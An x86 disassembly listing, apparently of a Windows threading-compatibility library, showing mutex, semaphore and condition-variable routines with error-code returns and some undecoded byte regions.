push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
nop
call near ptr 2770A06h
test eax, eax
jnz short loc_4301E7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_430234
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_402068
add esp, 8
mov esi, eax
jmp short loc_430230
; ---------------------------------------------------------------------------
loc_4301E7: ; CODE XREF: ___:004301C8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_43020B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_43020D
loc_43020B: ; CODE XREF: ___:004301F7j
xor ebx, ebx
loc_43020D: ; CODE XREF: ___:00430209j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_430230
mov eax, [esp+10h]
push 0
push eax
call sub_401415
; ---------------------------------------------------------------------------
add esp, 8
loc_430230: ; CODE XREF: ___:004301E5j
; ___:0043021Fj
test esi, esi
jnz short loc_43024E
loc_430234: ; CODE XREF: ___:004301D2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_5103D8 ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_43024E: ; CODE XREF: ___:00430232j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_430254: ; CODE XREF: ___:004301A7j
; ___:004301B1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430290: ; CODE XREF: ___:00401F6Ej
push esi
push 4
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
test eax, eax
jnz short loc_4302B3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4302B3: ; CODE XREF: ___:004302A2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4302E0: ; CODE XREF: ___:00401A87j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_430301
mov eax, [ecx]
test eax, eax
jz short loc_430301
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430301: ; CODE XREF: ___:004302E9j
; ___:004302EFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430320: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_43033D
mov eax, [eax]
test eax, eax
jz short loc_43033D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43033D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43033D: ; CODE XREF: ___:00430326j
; ___:0043032Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430360: ; CODE XREF: ___:00401636j
mov eax, [esp+4]
test eax, eax
jz short loc_43038A
mov ecx, [eax]
test ecx, ecx
jz short loc_43038A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43037E
test eax, eax
jnz short loc_43038A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43037E: ; CODE XREF: ___:00430375j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43038A: ; CODE XREF: ___:00430366j
; ___:0043036Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4303A0 proc near ; CODE XREF: sub_401415j
push esi
push edi
call sub_4012E4
sub_4303A0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 90525738h, 340406E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 3404DFE8h, 0B4E85302h
dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_430460: ; CODE XREF: ___:00402261j
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 90525338h, 340346E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 34041FE8h, 0F4E85702h
dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401D02j
push esi
push edi
call sub_4012E4
sub_430520 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 0A8E89050h, 85023402h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_4305A0: ; CODE XREF: ___:00401D39j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401762
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_4306D9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_4305DB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4305DB: ; CODE XREF: ___:004305CCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A64
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402248
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_4306B2
mov eax, [esi+30h]
test eax, eax
jnz loc_4306B2
cmp [esi+0Ch], ebp
jge loc_4306C5
test edi, edi
jz short loc_430644
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_430644: ; CODE XREF: ___:00430619j
mov edi, [esi+4]
push edi
call near ptr 2760D79h
nop
push 0
push edi
nop
call near ptr 27707F3h
cmp eax, 102h
jnz short loc_4306D2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2770000h
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_430750
push ecx
push edi
nop
call near ptr 27701A2h
push ebx
call sub_4010C3
add esp, 4
push edi
nop
call near ptr 277040Fh
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_4306B2: ; CODE XREF: ___:004305FDj
; ___:00430608j
cmp [esi+0Ch], ebp
jge short loc_4306C5
mov edx, [esi+38h]
push edx
nop
call near ptr 27705E6h
test eax, eax
jnz short loc_4306C9
loc_4306C5: ; CODE XREF: ___:00430611j
; ___:004306B5j
mov [esp+10h], ebp
loc_4306C9: ; CODE XREF: ___:004306C3j
push ebx
call sub_4010C3
add esp, 4
loc_4306D2: ; CODE XREF: ___:0043065Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_4306D9: ; CODE XREF: ___:004305BFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430750: ; DATA XREF: ___:00430680o
push 2
call sub_401DED
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430770 proc near ; CODE XREF: sub_401122j
mov eax, dword_5103C8
push esi
push eax
call sub_401190
sub_430770 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_4307AE
mov eax, [esp+8]
test eax, eax
jz short loc_43079C
mov eax, [esi]
test eax, eax
jz short loc_43079C
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_43079C: ; CODE XREF: ___:0043078Bj
; ___:00430791j
mov edx, [esi+8]
mov eax, dword_5103C8
push edx
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 8
loc_4307AE: ; CODE XREF: ___:00430783j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4307E0 proc near ; CODE XREF: sub_401663j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_5103C8
push edx
call sub_401190
sub_4307E0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_5103C8
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430830 proc near ; CODE XREF: sub_401B63j
arg_0 = dword ptr 4
push esi
push offset dword_510920
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_430864
push esi
push ecx
call sub_40154B
add esp, 8
mov esi, eax
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430864: ; CODE XREF: sub_430830+17j
test eax, eax
jnz short loc_43086D
mov esi, 16h
loc_43086D: ; CODE XREF: sub_430830+36j
push offset dword_510920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430830 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: ___:0040211Cj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_4308C3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4308C3: ; CODE XREF: ___:004308B2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4308E0: ; CODE XREF: ___:004021F3j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_430903
mov eax, [esi]
test eax, eax
jz short loc_430903
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430903: ; CODE XREF: ___:004308E7j
; ___:004308EDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430920: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_43093D
mov eax, [eax]
test eax, eax
jz short loc_43093D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_43093D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_43093D: ; CODE XREF: ___:00430926j
; ___:0043092Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430960: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_43098A
mov ecx, [eax]
test ecx, ecx
jz short loc_43098A
mov eax, [esp+8]
cmp eax, 1
jz short loc_43097E
test eax, eax
jnz short loc_43098A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_43097E: ; CODE XREF: ___:00430975j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_43098A: ; CODE XREF: ___:00430966j
; ___:0043096Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4309A0 proc near ; CODE XREF: sub_40154Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_4309B6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B6: ; CODE XREF: sub_4309A0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_4309DD
mov eax, [eax]
cmp eax, edi
jz short loc_4309DD
cmp dword ptr [eax], 1
jnz short loc_4309DD
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309DD: ; CODE XREF: sub_4309A0+1Ej
; sub_4309A0+24j ...
push 20h
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_430A02
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430A02: ; CODE XREF: sub_4309A0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A27
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_430A6B
; ---------------------------------------------------------------------------
loc_430A27: ; CODE XREF: sub_4309A0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_430A45
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_430A62
; ---------------------------------------------------------------------------
loc_430A45: ; CODE XREF: sub_4309A0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jz short loc_430ACF
push ebx
call sub_401690
add esp, 4
loc_430A62: ; CODE XREF: sub_4309A0+A3j
push ebp
call sub_401690
add esp, 4
loc_430A6B: ; CODE XREF: sub_4309A0+85j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_430AC2
loc_430A7B: ; CODE XREF: sub_4309A0+131j
push offset dword_5109A0
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_5103D0
mov [esi+1Ch], ecx
mov eax, dword_5103D0
test eax, eax
jz short loc_430AA2
mov [eax+18h], esi
loc_430AA2: ; CODE XREF: sub_4309A0+FDj
mov eax, dword_5103CC
mov dword_5103D0, esi
test eax, eax
jnz short loc_430AB7
mov dword_5103CC, esi
loc_430AB7: ; CODE XREF: sub_4309A0+10Fj
push offset dword_5109A0
call near ptr 7C9010EDh
nop
loc_430AC2: ; CODE XREF: sub_4309A0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430ACF: ; CODE XREF: sub_4309A0+B7j
xor edi, edi
jmp short loc_430A7B
sub_4309A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430B30 proc near ; CODE XREF: sub_401AA5j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_430CDC
mov eax, [edi]
test eax, eax
jz loc_430CDC
cmp eax, 0FFFFFFFFh
jz loc_430C93
push offset dword_5109A0
nop
call near ptr 7C901005h
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430B89
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430B89: ; CODE XREF: sub_430B30+49j
lea ebp, [esi+14h]
push ebp
call sub_401785
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_430BB0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430BB0: ; CODE XREF: sub_430B30+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_430BE9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430BD2
call near ptr 77C1F2BCh
nop
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_430BD2: ; CODE XREF: sub_430B30+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_430C7E
; ---------------------------------------------------------------------------
loc_430BE9: ; CODE XREF: sub_430B30+87j
push ebx
mov dword ptr [edi], 0
call sub_401690
mov edi, dword_511A70
add esp, 4
test eax, eax
jz short loc_430C0A
call edi ; _errno
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_430C0A: ; CODE XREF: sub_430B30+D0j
lea eax, [esi+0Ch]
push eax
call sub_401690
add esp, 4
test eax, eax
jz short loc_430C22
call edi ; _errno
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_430C22: ; CODE XREF: sub_430B30+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_430C3C
push ebp
call sub_402252
add esp, 4
mov ebx, eax
loc_430C3C: ; CODE XREF: sub_430B30+FFj
cmp dword_5103CC, esi
jnz short loc_430C4F
mov edx, [esi+18h]
mov dword_5103CC, edx
jmp short loc_430C58
; ---------------------------------------------------------------------------
loc_430C4F: ; CODE XREF: sub_430B30+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_430C58: ; CODE XREF: sub_430B30+11Dj
cmp dword_5103D0, esi
jnz short loc_430C6B
mov edx, [esi+1Ch]
mov dword_5103D0, edx
jmp short loc_430C74
; ---------------------------------------------------------------------------
loc_430C6B: ; CODE XREF: sub_430B30+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_430C74: ; CODE XREF: sub_430B30+139j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_430C7E: ; CODE XREF: sub_430B30+B4j
push offset dword_5109A0
nop
call near ptr 7C9010EDh
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_430CC2
; ---------------------------------------------------------------------------
loc_430C93: ; CODE XREF: sub_430B30+28j
push offset dword_510920
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_430CAB
mov dword ptr [edi], 0
jmp short loc_430CB7
; ---------------------------------------------------------------------------
loc_430CAB: ; CODE XREF: sub_430B30+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_430CB7: ; CODE XREF: sub_430B30+179j
push offset dword_510920
nop
call near ptr 7C9010EDh
loc_430CC2: ; CODE XREF: sub_430B30+161j
test esi, esi
jz short loc_430CCE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CCE: ; CODE XREF: sub_430B30+194j
test ebp, ebp
mov eax, ebp
jnz short loc_430CE1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430CDC: ; CODE XREF: sub_430B30+15j
; sub_430B30+1Fj
mov eax, 16h
loc_430CE1: ; CODE XREF: sub_430B30+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_430B30 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D60 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_430D60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430D90 proc near ; CODE XREF: sub_430D60+Cp
; sub_431060+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_430E99
mov eax, [esi]
test eax, eax
jz loc_430E99
cmp eax, 0FFFFFFFFh
jnz short loc_430DD2
push esi
call sub_401B63
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_430DD2
cmp eax, 10h
jnz loc_430E9E
loc_430DD2: ; CODE XREF: sub_430D90+26j
; sub_430D90+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_430DF2
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430DF2: ; CODE XREF: sub_430D90+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430E12
call near ptr 77C1F2BCh
nop
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_430E12: ; CODE XREF: sub_430D90+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_430F00
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401663
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 7EE44FE8h
dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_430E99: ; CODE XREF: sub_430D90+13j
; sub_430D90+1Dj
mov eax, 16h
loc_430E9E: ; CODE XREF: sub_430D90+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_430D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430F00: ; DATA XREF: sub_430D90+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402248
add esp, 4
test eax, eax
jz short loc_430F2B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F2B: ; CODE XREF: ___:00430F21j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_430F3E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_430FA7
; ---------------------------------------------------------------------------
loc_430F3E: ; CODE XREF: ___:00430F34j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_430FA7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_430F72
call near ptr 77C1F2BCh
nop
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F72: ; CODE XREF: ___:00430F5Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430F9C
call near ptr 77C1F2BCh
nop
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430F9C: ; CODE XREF: ___:00430F86j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_430FA7: ; CODE XREF: ___:00430F3Cj
; ___:00430F4Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_430FC0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FC0: ; CODE XREF: ___:00430FB2j
cmp ebx, 1
jnz short loc_430FE9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_430FE9
nop
call near ptr 77C1F2BCh
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430FE9: ; CODE XREF: ___:00430FC3j
; ___:00430FD3j
mov ecx, [ebp+0]
push ecx
call sub_402248
add esp, 4
test eax, eax
jz short loc_430FFF
mov edx, [esp+18h]
mov [edx], eax
loc_430FFF: ; CODE XREF: ___:00430FF7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431060 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_43106E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43106E: ; CODE XREF: sub_431060+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_430D90
add esp, 0Ch
retn
sub_431060 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310A0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4310C0
add esp, 8
retn
sub_4310A0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p
; sub_431220+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_4311C4
mov esi, [eax]
test esi, esi
jz loc_4311C4
cmp esi, 0FFFFFFFFh
jnz short loc_4310E4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4310E4: ; CODE XREF: sub_4310C0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402248
add esp, 4
test eax, eax
jnz loc_4311C9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_431134
test eax, eax
jnz short loc_431112
loc_431105: ; CODE XREF: sub_4310C0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431112: ; CODE XREF: sub_4310C0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_431129
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431129: ; CODE XREF: sub_4310C0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_431193
; ---------------------------------------------------------------------------
loc_431134: ; CODE XREF: sub_4310C0+3Fj
cmp eax, [esi+4]
jle short loc_431105
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_431160
nop
call near ptr 77C1F2BCh
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
